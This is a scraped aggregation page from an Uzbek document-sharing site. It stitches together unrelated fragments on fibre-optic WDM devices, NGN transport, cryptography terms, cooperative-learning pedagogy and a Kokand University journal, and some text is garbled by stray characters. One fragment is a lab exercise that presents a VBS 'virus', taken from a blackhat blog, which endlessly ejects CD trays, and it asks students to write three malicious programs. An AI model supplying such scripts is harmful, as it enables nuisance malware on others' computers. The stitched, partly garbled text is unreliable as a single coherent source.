nyuuzyou/kompy huggingface dataset:
WDM Qurilmalari (Wavelength Division Multiplexing Devices)-

|
WDM Qurilmalari (Wavelength Division Multiplexing Devices)-
|
bet | 9/9 | Sana | 11.06.2024 | Hajmi | 330,39 Kb. | | #262434 |
Bog'liq diplom mundarijamm (2)WDM Qurilmalari (Wavelength Division Multiplexing Devices)- bu optik tolali aloqa tizimlarida bir nechta yorug'lik to‘lqin uzunliklarini bitta tolali kanalda bir vaqtning o‘zida uzatishni ta'minlaydigan texnologiyadir. Bu usul orqali ma'lumot uzatish tezligi va tarmoqlar o‘tkazuvchanligi sezilarli darajada oshadi. WDM tizimlari aloqa tarmoqlarida yuqori samaradorlik va keng qamrovni ta’minlash uchun ishlatiladi.
WDM texnologiyasining o‘zi ham ikkita asosiy turga ega:
CWDM (Coarse Wavelength Division Multiplexing): CWDM tizimlari kengroq spektral oralig'ida (20 nm) joylashgan to‘lqin uzunliklarini ishlatadi. Ular nisbatan arzon bo‘lib, qisqa va o‘rta masofali tarmoqlar uchun mos keladi.
DWDM (Dense Wavelength Division Multiplexing): DWDM tizimlari esa juda zich spektral oralig'ida (0.8 nm) joylashgan to‘lqin uzunliklarini ishlatadi. Bu tizimlar yuqori o‘tkazuvchanlikka ega bo‘lib, uzoq masofali va yuqori tezlikdagi tarmoqlar uchun idealdir.
Bu texnologiyasi zamonaviy optik tolali tarmoqlarda yuqori o‘tkazuvchanlik, tezlik va sifatni ta'minlashda muhim rol o‘ynaydi. Bu texnologiya yordamida aloqa tizimlari samaradorligi sezilarli darajada oshadi, bu esa internet va boshqa tarmoq xizmatlarining sifatini yaxshilashga yordam beradi. WDM qurilmalari va tizimlarining rivojlanishi kelajakda yanada kengroq va samarali tarmoqlarni yaratishga imkon beradi.
Optik Splitterlar (Optical Splitters)- bu optik tolali aloqa tizimlarida keng qo‘llaniladigan qurilmalar bo‘lib, bitta optik signalni bir nechta qismga bo‘lib tarqatish uchun ishlatiladi. Ular asosan FTTH (Fiber to the Home), FTTB (Fiber to the Building), va boshqa keng polosali aloqa tarmoqlarida qo‘llaniladi. Optik splitterlar yuqori o‘tkazuvchanlikni ta'minlaydi va bir nechta foydalanuvchilar o‘rtasida ma'lumotni samarali tarzda taqsimlash imkonini beradi.
Optik splitterlar kiruvchi optik signalni bir nechta chiqish yo‘nalishlariga bo‘lish orqali ishlaydi. Bu jarayon signallarni bo‘lish orqali tarmoqdagi foydalanuvchilarga teng ravishda taqsimlaydi. Optik splitterlarning asosiy komponentlari shisha tolalar va optik kuchaytirgichlardir, bu komponentlar signalni bo‘linishini va uzatishni ta'minlaydi. Optik splitterlar zamonaviy optik tolali aloqa tizimlarining ajralmas qismidir. Ular signalni samarali tarzda bo‘lish va tarmoq samaradorligini oshirish uchun ishlatiladi. FBT va PLC splitterlar turli xil ehtiyojlar va tarmoqlar uchun mos keladi. Keng qamrovli tatbiqotlari va ko‘plab afzalliklari bilan optik splitterlar kelajakda ham optik tolali tarmoqlar rivojlanishida muhim rol o‘ynaydi.
Optik o‘lchov qurilmalarining turlari
|
| |
-súwret. IP protokolı arqalı maǵlıwmatlardı uzatıw ushın transport texnologiyalarınan paydalanıw usılları

|
-súwret. IP protokolı arqalı maǵlıwmatlardı uzatıw ushın transport texnologiyalarınan paydalanıw usılları
|
bet | 4/7 | Sana | 21.02.2024 | Hajmi | 0,9 Mb. | | #159843 |
6.3-súwret. IP protokolı arqalı maǵlıwmatlardı uzatıw ushın transport texnologiyalarınan paydalanıw usılları.
NGN tarmaǵı ushın tiykarǵı máselelerden biri, tarmaq yadrosın qurıw ushın texnologiyanıń tańlawı esaplanadı. Ol tarmaqtıń bir qansha jıllar dawamındaǵı rawajlanıwın hám qollanılatuǵın apparatlardı anıqlap beredi.
NGN transport tarmaǵı texnologiyasın tańlawda tómendegi faktorlar inabatqa alınıwı kerek:
1. NGN tarmaǵın qurıwdı joybarlawtirayotgan kóplegen úlken baylanıs operatorları SDH apparatlarına úlken qarjıların kirgiziwgen basqa texnologiyaǵa ótiw bolsa mudamı da ózin aqlay almaytuǵın aqshalardı talap etedi.
2. Ámeldegi transport tarmaqların saqlap qalıw taǵı usınıń menen baylanıslıki, tayansh tarmaqları qurılısında isletiletuǵın optikalıq kanaldıń ótkeriw qábileti barǵan sayın asıp atır. Bunday múmkinshiliklerdi optikalıq mul'tipleksorlash texnologiyaları (xWDM) usınıs etedi.
3. ATM apparatın SDH menen salıstırǵanda, onıń qımbatlıǵı, sazlaw hám xizmet kórsetiwdiń quramalılıǵı inabatqa alınǵanda, bir qansha máselelerdi SDH tarmaqlarında isletiluvchi TDM waqıt boyınsha mul'tipleksorlash texnologiyaların isletiw maqsetke muvofligi kórinip turıptı.
4. «de-fakto» bolıp qabıl etilgen IP protokolı derlik barlıq maǵlıwmat uzatıw tarmaqlarınıń aqırǵı paydalanıwshısı protokolı esaplanadı, bul bolsa kóbinese dástúriy uzatıw ortalıqlarına kiritilgen IP texnologiyası sıyaqlı ápiwayı sheshimlerdi qollaw kóbirek payda keltiriwin tiykarlaydı.
Joqarıda keltirilgen ulıwma dallillar ol yamasa bul texnologiyanıń ayqın abzallıǵına gúwalıq bermeydi.
Tómende NGN tarmaǵında isletiliw múmkinshiligine qaray, túrli transport texnologiyalarınıń salıstırıwiy xarakteristikaları beriledi.
SDH texnologiyası
Bul texnologiyanıń tańlawı tiykarǵı trafik dástúriy telefon trafigi bolıp, basqa trafiklardıń qurawshıları onsha úlken bolmaǵanında (10% ge shekem, bunda ótkeriw qábiletiniń natiyjeliligi shama menen 60% ge shekem boladı ) ózin aqlaydı. (6. 4-súwret)
|
| |
O‘tkazish oralig‘ining kengligi - 2. optik kirish tarmoqlari liniyalari va ularda qo‘llaniladigan qurilmalar va o‘lchovlar

|
2. optik kirish tarmoqlari liniyalari va ularda qo‘llaniladigan qurilmalar va o‘lchovlar
|
bet | 3/9 | Sana | 11.06.2024 | Hajmi | 330,39 Kb. | | #262434 |
Bog'liq diplom mundarijamm (2)O‘tkazish oralig‘ining kengligi. Bu tashuvchi chastotasining juda yuqoriligi 1014 — 1015 Hz bilan tushuntiriladi. Bitta optik tola bo‘ylab sekundiga bir necha terabit axborotlar oqim ini uzatish imkoniyati mavjud. O‘tkazish oralig‘ining kengligi optik tolaning mis va boshqa axborot uzatish muhitlaridan ustun turuvchi eng muhim afzalligidir.
Optik tolada yorug‘lik signallarining kam so‘nishi.
Hozirgi kunda ko‘plab kompaniyalar tomonidan ishlab chiqarilayotgan optik tolalar 1 kanal kilometr hisobida 1,55 mkm to‘lqin uzunligida 0,2 — 0,3 dB/km so‘nishga ega. So‘nish va dispersiya qiymatlarining kichikligi optik signallarni liniya trakti bo‘ylab retranslyatsiyasiz 100 km va undan uzoq masofalarga uzatish imkonini beradi. Shovqin sathining kichikligi optik tolaning o‘tkazish qobiliyatini oshiradi. Shovqindan yuqori darajada himoyalanganligi. Optik tola dielektrik materiallar — kvars, ko‘p tarkibli shisha, polimerlardan tayyorlanganligi uchun u elektromagnit nurlanishni induksiyalash xususiyatiga ega, atrofidagi mis kabelli tizim va elektr qurilmalarning (elektr uzatish liniyalari, elektrodvigatelli uskuna va boshqalar) tashqi elektromagnit shovqinlariga ta’sirchan emas. Shuningdek, ko‘p tolali optik kabellarda ko‘p juftli mis kabellarga xos elektromagnit nurlanishlarning o‘zaro ta’siri kabi muammolar yuzaga kelmaydi.
Optik kabellarning bu afzalligi tufayli ishlab chiqarish korxonalari, boshqaruv markazlari, samolyot va kema kabi transport vositalarida foydalangan ma’quldir. Chunki shu kabi kichik joylarda ham energetik qurilmalar, ham avtomatika va teleboshqaruv tizimlari, ham ko‘p sonli abonent qurilmalaridan iborat tarmoqlangan aloqa tarmoqlari joylashgan bo‘ladi. Bunday holatda elektromagnit va o‘zaro shovqinlar yuzaga keladi. Optik kabellarning esa bunday shovqinlarga ta’sirchan emasligi aytib o‘tildi.
Optik kabellarning yengilligi, hajmi va o‘lchamlarining kichikligi.
Optik kabellar mis kabellar bilan solishtirilganda ancha yengil va hajmi kichik. Masalan, 900 juftli 7,5 sm diametrli mis telefon kabeli 0,1 sm diametrli bitta optik tola bilan almashtirilishi mumkin. Agar optik tola bir necha himoya qobiqlaridan iborat va bron po‘lat tasma bilan qoplangan bo‘lsa, bunday tola diametri 1,5 sm ga teng bo‘ladi, bu esa ko‘rilayotgan mis kabel diametridan bir necha marta kichik. Optik tolaning bu afzalligi optik kabelli liniya traktlarini qurishda ancha yengilliklar yaratadi. Yengilligi va o‘lchamining kichikligi tufayli optik tolaning samolyot, vertolyot va boshqa transport vositalarida ishlatilishi optik aloqaning juda muhim yutug‘idir. Masalan, axborotlarni yig‘ish va boshqarish vazifalarini bajarish uchun maxsus jihozlangan samolyotlarda bog‘lovchi kabellar og‘irligini 1 tonnadan ortiqqa kamaytiradi.
|
| |
9 – amaliy mashg‘ulot Shaxsiy kompyuterlarda viruslarga qarshi himoyani o‘rnatish Ishdan maqsad

|
9 – amaliy mashg‘ulot Shaxsiy kompyuterlarda viruslarga qarshi himoyani o‘rnatish Ishdan maqsad
|
Sana | 16.12.2023 | Hajmi | 406,94 Kb. | | #120407 |
Bog'liq 9 Amaliy ish Shaxsiy kompyuterlarda viruslarga qarshi himoyani oʻrnatish
9 – amaliy mashg‘ulot
Shaxsiy kompyuterlarda viruslarga qarshi himoyani o‘rnatish
Ishdan maqsad - Bloknotda sodda viruslarni yaratish va yaratilgan viruslarni virustotal.com saytida tekshiruvdan o‘tkazish.
Nazariy qism. Zaiflik — bu hisoblash tizimining (yoki bir nеcha tizimlarning) holati bo‘lib, u quyidagilarga imkon bеradi:
boshqa foydalanuvchi nomidan komandalarni bajarishga;
ushbu foydalanuvchi uchun taqiqlangan axborotlardan foydalanish imkonini olish;
o‘zini boshfa foydalanuvchi yoki rеsurs sifatida ko‘rsatishga;
«xizmat ko‘rsatishni rad etish» turdagi hujumlarni amalga oshirish.
Tahdid deganda kimlarningdir manfaatiga ziyon yetkazuvchi ro’y berishi mumkin bo’lgan voqea, ta’sir, jarayon tushuniladi. Axborotga yoki axborot tizimiga salbiy ta’sir ko’rsatuvchi potensial ro’y berishi mumkin bo’lgan voqea yoki jarayon axborot munosabatlari sub’yektlari manfaatlariga qaratilgan tahdid deb ataladi.
Xavf-xatar esa tahdidni muvaffaqiyatli amalga oshirilishidir.
Hodisa deganda zaiflik,tahdid va xavf-xatar birgalikda tushuniladi.
1. http://hemendra-blackhathacker.blogspot.com/p/virus-codes.html orqali virus kodini olamiz. Bloknotga kiritib Anything.VBS nomi va kengaytmasi bilan saqlaymiz.
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
Do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End
If
wscript.sleep 5000
loop
2. Yaratilgan virusni https://www.virustotal.com/gui/home/upload sayti orqali tekshiramiz.
Topshiriq. 3 ta zararli dastur kodini tayyorlang va hisobot tayyorlab tahlil qilish.
|
| |
Kriptografiyaning asosiy tushunchalari

|
Kriptografiyaning asosiy tushunchalari
|
bet | 3/5 | Sana | 27.07.2024 | Hajmi | 0,9 Mb. | | #268798 |
Bog'liq ilyor.kiber.mKriptografiyaning asosiy tushunchalari
Kriptologiya - “maxfiy kodlar”ni yaratish va buzish fani va sanati;
Kriptografiya – “maxfiy kodlar”ni yaratish bilan shug‘ullanadi;
Kriptotahlil – “maxfiy kodlar”ni buzish bilan shug‘ullanadi;
Kripto – yuqoridagi tushunchalarga (hattoki bundanda ortig‘iga) sinonim bo‘lib, kontekst ma’nosiga ko‘ra farqlanadi.
Shifrlash – jarayonida ham ma’lumot boshqa formatga o‘zgartiriladi, biroq uni faqat maxsus shaxslar (deshifrlash kalitiga ega bo‘lgan) qayta o‘zgartirishi mumkin bo‘ladi.
Shifrlashdan asosiy maqsad ma’lumotni maxfiyligini ta’minlash bo‘lib, uni qayta o‘zgartirish ba’zi shaxslar (deshifrlash kalitiga ega bo‘lmagan) uchun cheklangan bo‘ladi.
Shifr yoki kriptotizim ma’lumotni shifrlash uchun foydalaniladi.
Haqiqiy shifrlanmagan ma’lumot ochiq matn deb atalib, shifrlashning natijasi shifrmatn deb ataladi.
Haqiqiy ma’lumotni qayta tiklash uchun shifrmatnni deshifrlash zarur bo‘ladi.
Kalit kriptotizimni shifrlash va deshifrlash uchun sozlashda foydalaniladi.
2.1.rasm Shifrlash sxemasi
Shifrlash va deshifrlash masalalariga tegishli bo‘lgan, ma’lum bir alfavitda tuzilgan ma’lumotlar matnlarni tashkil etadi.
Alfavit - axborotni ifodalash uchun foydalaniladigan chekli sondagi belgilar to‘plami.
Misollar sifatida:
• o‘ttiz oltita belgidan (harfdan) iborat o‘zbek tili alfaviti;
• o‘ttiz ikkita belgidan (harfdan) iborat rus tili alfaviti;
• yigirma sakkizta belgidan (harfdan) iborat lotin alfaviti;
• ikki yuzi ellik oltita belgidan iborat ASSII kompyuter belgilarining alfaviti;
• binar alfavit, ya’ni 0 va 1 belgilardan iborat bo‘lgan alfavit;
• sakkizlik va o‘n oltilik sanoq sistemalari belgilaridan iborat bo‘lgan alfavitlarni keltirish mumkin.
Kodlash – ma’lumotni osongina qaytarish uchun hammaga (hattoki hujumchiga ham) ochiq bo‘lgan sxema yordamida ma’lumotlarni boshqa formatga o‘zgartirishdir.
Kodlash ma’lumotlardan foydalanish qulayligini ta’minlash uchun amalga oshiriladi va hamma uchun ochiq bo‘lgan sxemalardan foydalaniladi.
Masalan, ASCII, UNICODE, URL Encoding, base64.
Aksariyat hollarda foydalanuvchilar ma’lumotni shifrlash va kodlash tushunchalarini bir xil deb tushuniladi.
– Aslida esa ular ikki turlicha tushunchalardir.
2.2.rasm. ASCII kodlash standarti
|
| |
II.BOB - Kurs ishi bajardi

|
Kurs ishi bajardi
|
bet | 9/12 | Sana | 19.05.2024 | Hajmi | 54,76 Kb. | | #244087 |
Bog'liq Sevinch To‘xtamurodovaII.BOB BOSHLANG‘ICH SINF O‘QUVCHILARI BILAN HAMKORLIKDA FAOLIYAT OLIB BORISH
2.1.Boshlang‘ich sinf darslarida hamkorlik texnologiyasidan foydlanishning ta’lim-tarbiya jarayonida tutgan o‘rni
Bugungi kunda bir qator rivojlangan mamlakatlarda o‘quvchilarning o‘quv va ijodiy faolliklarini oshiruvchi hamda ta’lim-tarbiya jarayonining samaradorligini kafolatlovchi pedagogik texnologiyalarni qo‘llash borasida katta tajriba to‘plangan. Shulardan biri boshlang‘ich sinflarda hamkorlikda o‘qitish texnologiyasidan foydalangan holda darslarni loyihalashtirishdir. Pedagogik texnologiya o‘z mohiyatiga ko‘ra subyektiv xususiyatga ega.
Hamkorlikda o‘qitish g‘oyasi turli mamlakatlardagi, jumladan, Amerikadagi J.Xopkins universiteti professori – R.Slavin (1990), Minnesot universiteti professori – R.Jonson, D.Jonson (1987), Koliforniya universiteti professori – SH.SHaron (1988), tomonidan ishlab ishlab chiqilgan.
Ta’lim-tarbiya jarayonida hamkorlikda ishlashning ahamiyati qadim zamonlardan beri ma'lum bo‘lgan. Darhaqiqat, bir nechta tarixchilar va antropologlar inson evolyutsiyasining asosiy sabablaridan biri aynan shu hamkorlik qobiliyati bo‘lgan deb o‘ylashadi.
Suqrot Tarix davomida turli xil hamkorlikda o‘qitish fanlari ishlab chiqilgan. Masalan, Suqrot o‘z shogirdlarini kichik guruhlarda tarbiyalaydi deb aytilgan; eski gildiyalarda esa tajribasi pastroq bo‘lgan o‘quvchilar o‘qitishni ancha rivojlangan shogirdlar zimmasiga olgan.
Charlz Gid XVI asrga qadargina bu tendentsiya rasmiy ta'limda qo‘llanila boshlandi. O‘qishning kooperativ jihatlari bilan shug‘ullanadigan birinchi pedagoglardan biri bu kooperativ tizimga asos solgan Charlz Gid edi.
Jon Devi Keyinchalik, 19-asrda jamoaviy ta'lim, ayniqsa, AQShda alohida dolzarblikka ega bo‘ldi. Masalan, amerikalik faylasuf Jon Devi hamkorlikka asoslangan pedagogik tizimni yaratdi.
Ushbu mutafakkir jamiyatga o‘z hissasini qo‘shishi uchun shaxsni tarbiyalash kerak, deb hisoblagan va u o‘zining pedagogik tizimini shu g‘oyaga asoslanib tuzgan. 20-asrda ilmiy va akademik psixologiya bir guruh ichida yuz beradigan turli jarayonlar bilan shug‘ullana boshladi; ular orasida, shuningdek, hamkorlikda o‘rganish edi.
|
| |
Juftlikda ishlash (binar) dars

|
Juftlikda ishlash (binar) dars
|
bet | 7/12 | Sana | 19.05.2024 | Hajmi | 54,76 Kb. | | #244087 |
Bog'liq Sevinch To‘xtamurodovaJuftlikda ishlash (binar) dars - o‘quvchilarning juft bo‘lib, dars mavzusini birgalikda o‘zlashtirishi yoki bir-birining bilimlarini mustahkamlash darsi. Bunda zarur bo‘lganda juftliklar dars davomida turlicha o‘zgartirilishi mumkin.
Dialog darsi - o‘quvchilarni mustaqil fikrlashga o‘rgatish va o‘z fikrlarini bayon etish ko‘nikmalarini rivojlantirish maqsadida dars mavzusini o‘quvchilar bilan dialoglar tashkil etish orqali tushuntirish va mustahkamlash mashqlaridan iborat.
Aylana bo‘ylab mashq darsi - o‘quvchilarning navbatma-navbat ishtiroki asosida yangi mavzuni o‘zlashtirish yoki o‘tilgan darsni takrorlab, mustahkamlash mashqlaridan iborat.
Innovasiyalar darsi - o‘quv fani sohasidagi yoki maktab hayotiga tegishli yangiliklarni joriy qilish, shuningdek o‘quvchilarning ijodiy faoliyatlari natijalarini amalda qo‘llash bo‘yicha taqlif va loyihalar bilan tanishirish darsi bo‘lib, o‘quvchilarning bilimlarini oshirish, ijodiy qobiliyatlarini rivojlantirishga xizmat qiladi. Hamkorlikda o’qitishning asosiy g’oyasi: o‘quv topshiriqlarini nafaqat birgalikda bajarish, balki hamkorlikda o‘qish o‘rganishdir.
Hamkorlikda o’qitish o‘quvchida quyidagilarni shakllantirishni ko‘zda tutadi :
Har bir o‘quvchini kundalik qizg‘in aqliy mehnatga, ijodiy va mustaqil fikr yuritishga o‘rgatish;
shaxs sifatida onglilik, mustaqillikni tarbiyalash;
har bir o‘quvchida shaxsiy qadr-qimmat tuyg‘usini vujudga keltirish;
o‘z kuchi va qobiliyatiga bo‘lgan ishonchini mustahkamlash;
Tahsil olishda mas’uliyat hissini shakllantirish.
Hamkorlikda o‘qitish texnologiyasi har bir o‘quvchining tahsil olishdagi muvaffaqiyati guruh muvaffaqiyatiga olib kelishini anglagan holda muntazam va
sidqidildan aqliy mehnat qilishga, o‘quv topshiriqlarini to‘liq va sifatli bajarishga, o‘quv materialini puxta o‘zlashtirishga, o‘rtoqlariga hamkor bo‘lib, o‘zaro yordam uyushtirishga zamin tayyorlaydi.
Hamkorlikda o‘qitish texnologiyasida o‘quvchilarni hamkorlikda o‘qitishni tashkil etishning bir necha metodlari mavjud:
1. Komandada o‘qitish(R.Slavin).
2. Kichik guruhlarda hamkorlikda o‘qitish(R.Slavin, 1986).
3. Hamkorlikda o‘qitishning “zigzag yoki arra” metodi (E.Aronson, 1978).
4. Hamkorlikda o‘qitishning “Birgalikda o‘qiymiz” metodi (Minnesot universiteti professorlari R.Jonson, D.Jonson,1987).
5. Kichik guruhlarda ijodiy izlanishni tashkil etish metodi (Isroildagi Tel-Aviv universiteti professori Sh.Sharan1988 tomonidan ishlab chiqilgan).
|
| |
Umuman, hamkorlikda o‘qitish metodlari quyidagi beshta xususiyatga ega

|
Umuman, hamkorlikda o‘qitish metodlari quyidagi beshta xususiyatga ega
|
bet | 6/12 | Sana | 19.05.2024 | Hajmi | 54,76 Kb. | | #244087 |
Bog'liq Sevinch To‘xtamurodovaUmuman, hamkorlikda o‘qitish metodlari quyidagi beshta xususiyatga ega:
1. O‘quvchilar birgalikda, umumiy topshiriq yoki o‘qitilayotgan faoliyat ustida ishlashadi, bu guruhiy ish orqali yaxshi o‘zlashtiriladi.
2. O‘quvchilar 2-5 a’zodan iborat tarkibda kichik guruhlarda birgalikda ishlashadi.
3. O‘quvchilar umumiy vazifalarning yechimini topishga erishish yoki o‘rganish faoliyatini amalga oshirish uchun guruh tomonidan ishlab chiqilgan hamda ijtimoiy qabul qilingan xulq-atvor mezonlariga rioya qilishadi.
4. O‘quvchilar ijobiy va mustaqil bo‘lishadi. Umumiy vazifalarning yechimini topishga erishish yoki o‘rganish faoliyati bo‘yicha ishlarni tashkil etish, o‘quvchilarning bir-birlariga ko‘maklashishlari talab etilishini qisobga olgan holla tuzilgan bo‘ladi.
5. O‘quvchilar o‘z ishlari iatijasiga yoki boshqacha aytganda, o‘qishga, ta’lim olishga, shaxsan mas’uliyatli va javobgardirlar.
Hamkorlikda o‘qitish texnologiyalari amalga oladigan ayrim noana’naviy dars shakllari
Matbuot konferensiyasi darsi - dars mavzusini savol javoblar orqali o‘zlashtirish mashqi.
Quvnoqlar, zukkolar klubi darsi - qiziqarli savol-ularga javoblar topish orqali mustaqil fikrlashni o‘rgatish mashqi.
Guruhlarda ishlash darsi - o‘quvchilarning bir nechta guruhlarga bo‘linib vazifalar bajarishini tashkil etish orqali bilimlarni mustahkamlash mashqi.
O‘zaro o‘qitish darsi - o‘quvchilarning dars mazmuni bo‘yicha matnning ayrim abzaslari yoki shunga o‘xshash kichiq bo‘laklarini bir-birlariga tushuntirishlarini tashkil etish orqali mavzuni o‘zlashtirish darsi.
O‘quvchilar olib boradigan dars - dars mavzusini o‘quvchilar tomonidan tushuntirib berilishini tashkil etish orqali o‘quvchilar faolligini oshirish mashqi.
Tanlov darsi - sinfdagi o‘quvchilarning bir yoki bir nechta mavzu bo‘yicha oldindan tayyorgarlik ko‘rgan holdagi tanlovini tashkil etish, g‘oliblarni aniqlash darsi.
|
| |
KIRISH


Mavzuning dolzarbligi

|
KIRISH
Mavzuning dolzarbligi
|
bet | 2/12 | Sana | 19.05.2024 | Hajmi | 54,76 Kb. | | #244087 |
Bog'liq Sevinch To‘xtamurodovaKIRISH
Mavzuning dolzarbligi: Hamkorlikda o‘qitish pedagogika fanida ancha yillardan buyon amalga oshirilmoqda. Hamkorlikda o‘qitishning asosiy g‘oyasi nimanidir birgalikda bajarish emas, balki birgalikda o‘qishdir. Hamkorlik ta’limi pedagog va o‘quvchilarni ta’limiy faoliyat jarayonida birgalikda rivojlanishi, bir-birini chuqur tushuna olishi, birbirlariga nisbatan qalban yaqinlikni his qilishi, faoliyat bosqichlari va shu bosqichlarda erishilgan natijalarni hamkorlikda tahlil qilishdan iborat bo‘lib, ilg‘or, rivojlantiruvchi g‘oyalarni o‘zida aks ettirishi bilan alohida ahamiyat kasb etadi.
O‘tgan asrning 70-yillarida J.Dyui ham- korlikda o‘qitishda natijalarni oldindan ko‘ra bilish, amaliy faoliyatni tashkil etish g‘oyasini ilgari surdi. Ta’lim jarayonida kichik guruhlarda o‘qitishdan Germaniya, Niderlandiya, Buyuk Britaniya, Avstraliya, Isroil, Yaponiyada foydalanilgan. Hamkorlik pedagogikasini novator-pedagoglar (Sh.A.Amonashvili, S.N.Lisenko, I.P.Volkov, V.F.Shatalov, Y.N.Ilin va boshqalar) pedagogik jarayon ishtirokchilari (o‘qituvchi va o‘quvchilar) o‘rtasida insonparvarlik tamoyiliga asoslangan o‘zaro munosabatlarni tashkil etishini ta’kidlab o‘tadilar. 1
Hamkorlik pedagogikasi uchun konseptual ahamiyatga ega qoidalar A.Avloniy, G‘.G‘ulom, K.D.Ushinskiy, A.S.Makarenko, V.A.Suxomlinskiy, J.J.Russo, Ya.Korchak, K.Rodjers va boshqa- larning pedagogik qarashlarida o‘z ifodasini topgan. Pedagogik hamkorlik g‘oyalari bugungi kunda pedagogik texnologiyalar mazmuniga singdirilgan va «XXI asr ta’limi konsepsiyasi» asosini tashkil etadi.
Bolaga insonparvarlik asosida shaxsiy yondashuv maktab ta’limi tizimida bola shaxsi, uning hali rivojlanmagan qobiliyatlari, «men»ligi ustuvor o‘rin tutadi. Maktabning maqsadi mavjud qobiliyatlarni rivojlantirish, shaxsni ijtimoiy faoliyatga jalb etish, uni erkin rivojlantirishdan iboratdir.
Hamkorlikda o‘qitish pedagogikasi pedagogik jarayonni takomillashtirish va
uni o‘quvchi shaxsiga yo‘naltirishga asoslangan. Bu texnologiya ijodkor shaxsni shakllantirishga yo‘naltirilgan ijodiy muhitni yaratish, ta’lim sifati va samardorligini oshirishga xizmat qiladi. Hamkorlikda o‘qitish mashg‘ulotlarning asosiy jarayonlari: hamkorlikda fikr almashish, suhbat, tahlil, munozara, muzokara, amaliy vazifalarni bajarish, masalalar yechishni o‘z ichiga oladi.
Kurs ishida aynan hamkorlik pedagogikasining rivojlanish tarixi, uning o‘qitish jarayonidagi o‘rni haqida va o‘tkazilgan tajriba asosidagi fikrlar bayon etilgan.
|
| |
Kokand University

Kokand University
Download
0,65 Mb.
Matnni ko'rish
bet
1/8
Sana
23.05.2024
Hajmi
0,65 Mb.
#251160
Download
0,65 Mb.
Matnni ko'rish
Bosh sahifa
Aloqalar
Bosh sahifa
Dərs
Mühazirə
Qaydalar
Referat
Xülasə
Yazı
Kokand University
Download
0,65 Mb.
Matnni ko'rish
QO'QON UNIVERSITETI - Kokand University

|
Kokand UniversityBog'liq 7-maqolaQO'QON UNIVERSITETI
XABARNOMASI
KOKAND UNIVERSITY
HERALD
ВЕСТНИК КОКАНДСКОГО
УНИВЕРСИТЕТА
5 / 2022
ISBN: 2181-1695
Bosishga r
니
xsat etildi 2022-yil 28-dekabr.
Qog'oz bichimi 60x84 1/8 «
니
bre Franklin, Montserrat»
garniturasi. Shartli bosma tabog'i 8. Adadi 20 n
니
sxa.
Buy
니
rtma rakami № . Baxosi shartnoma asosida.
“ Innovatsion rivojlanish nashriyot-matbaa
니
yi”
bosm axonasida
chop etildi.
화
Google
О Scholar
|
| |
Qo‘qon universiteti xabarnomasi

Mundarija:/Outline:
Iq tis o d iy o t / E c o n o m y
1.
I. Foziljonov
Modern methods for forecasting cash flows
3-6
2.
D. Nuritdinova
Management of processes of implementation of state interactive services through
7-9
information technologies
3.
Tsoy Marina.
The role of gender equality in poverty reduction and decert job creation - world
10-13
experience and practice of Uzbekistan
4.
B. Turanboyev
B. Rajabboyev
Puzzles involving the stock market, inflation and the predictability of stock market
returns
14-17
5.
A. Бакирбекова
К вопросу об управлении человеческими ресурсами в международных
18-25
компаниях
6.
J. Kambarov
Yangi sanoat inqilobini risk boshqaruviga ta'siri masalalari
26-29
7.
F. Mulaydinov
Sanoat korxonalari va biznes faoliyatida integratsion axborot tizimlari
30-35
8.
M. Diyarova
Qurilish sohasida kichik biznes sub'yektlarining innovasion faoliyati va uni tashkil
36-39
etishning asosiy tamoyillari
9.
R. Toxirov
Tadbirkorlik subyektlari samaradorligini baholashning uslubiy yondashuvlari
40-43
10.
M. Boltayeva,
A. Suyunov
Mamlakat iqtisodiyotida turizmni rivojlantirishning ijtimoiy-iqtisodiy ahamiyati
44-46
11.
O. Ahmadjonov
O‘zbekistonda islomiy moliya tizimini qo‘llash istiqbollari
47-51
12.
M. Tojiyeva
Biznesni
Kokand University - bet 7

|
Kokand UniversityBog'liq 7-maqolaнаціонального університету. 2009. N
으
5. С. 220-223.
11 Hvolby, Hans-Henrik; Trienekens, Jacques H. (December 2010). "Challenges in business
systems integration". Computers in Industry. 61 (9): 808-812.
doi:10.1016/j.compind.2010.07.006. ISSN 0166-3615
34
9.
Федорова Г. Н. Информационные системы: учебник для студ.
учреждений сред. проф. образования. М.: Академия, 2013.
208 с.
10.
Introduction to information security. URL: http://www.
cengage.com/resource_uploads/downloads/
1111138214_259146.pdf
11.
Information systems
for
business
and
beyond.
https://resources.saylor.org/wwwresources/archived/
site/textbooks/Information%20Systems%20for%20
Business%20and%20Beyond.pdf
12.
Этапы развития информационных систем // Хелпикс.Орг —
Интернет помощник. URL: https://helpiks. org/5-32285.html
13.
Информационные технологии в Украине: колос на глиняных
ногах // Duo. https://dou.ua/lenta/ articles/it-in-ukraine/
14.
Беликов Ю. В. Обзор современных подходов к бизнес
процессам в организации. Молодой ученый. 2017. N
으
43
(177). С. 137-139. https://moluch.ru/ archive/177/46087/
15.
Karri Lehtonen. What is system integration? Youredi, 2018.
https://www.youredi.com/blog/what-is-system-integration
16.
Gulledge, Thomas (September 2002). "B2B eMarketplaces and
small- and medium-sized enterprises". Computers in Industry.
49 (1): 47-58. doi:10.1016/s0166-3615(02)00058-1. ISSN 0166
3615
17.
Hvolby, Hans-Henrik; Trienekens, Jacques H. (December 2010).
"Challenges in business systems integration". Computers in
Industry. 61 (9): 808-812. doi:10.1016/j.compind.2010.07.006.
ISSN 0166-3615
18.
https://stat.uz/uz/rasmiy-statistika/raqamli-iqtisodiyot
19.
Eurostat. https://ec.europa.eu/eurostat/web/ main/home
20.
https://nuz.uz/uz/zhamoat/1196103-munosib-ba%D2%B3o
21.
Information
system.
Encyclopedia
Britannica.
URL:
https://www.britannica.com/topic/information-system
22.
https://en.wikipedia.org/wiki/Information_system
23.
https://en.wikipedia.org/wiki/System integration
35
|
| |
Цитировать статью

— 2529 —
ЦИТИРОВАТЬ СТАТЬЮ:
Валюхова М.А., Мамедова Н.Р., Бровчак С.В.
Рейтинг как ключевой фактор
развития университета в рамках национального проекта «Образование»
// Креативная экономика. – 2021. – Том 15. – № 6. – С. 2529–2550. doi:
10.18334/ce.15.6.112110
АННОТАЦИЯ:
В данной статье рассматривается вопрос рейтингования вузов, его влияние
на развитие конкурентоспособности высшего образования в России. Про-
водится сравнительный анализ основных международных и национальных
рейтингов, их критерии, индикаторы и показатели.
Выявлены актуальные
проблемы неконкурентоспособности российских вузов по сравнению с ми-
ровыми университетами. Также проведен опрос среди студентов различных
